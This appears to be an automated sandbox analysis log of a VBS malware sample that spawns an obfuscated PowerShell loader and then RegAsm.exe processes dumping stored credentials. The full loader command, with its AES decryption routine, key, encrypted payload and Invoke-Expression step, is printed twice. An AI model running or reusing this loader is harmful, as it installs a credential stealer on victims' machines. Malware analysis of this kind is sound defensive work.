Source: RegAsm.exe, RegAsm.exe, 00000004.00000002.1744513977.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: RegAsm.exe, RegAsm.exe, 00000005.00000002.1738322780.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000004.00000002.1744513977.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, RegAsm.exe, 00000004.00000002.1744513977.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: RegAsm.exe, RegAsm.exe, 00000004.00000002.1744513977.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: RegAsm.exe, RegAsm.exe, 00000004.00000002.1744513977.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: RegAsm.exe, 00000004.00000002.1747480644.000000000267A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, RegAsm.exe, 00000004.00000002.1744513977.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: screensimplethingstohandlecream.gIF.vbs

Virustotal: Detection: 9%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: __getmainargs,DecisionNodes,exit

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\screensimplethingstohandlecream.gIF.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\nkpfvnsml"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\xeupwfcgzmvn"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\igzioyninunayvp"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\igzioyninunayvp"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\nkpfvnsml"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\xeupwfcgzmvn"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\igzioyninunayvp"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\igzioyninunayvp"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pstorec.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pstorec.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
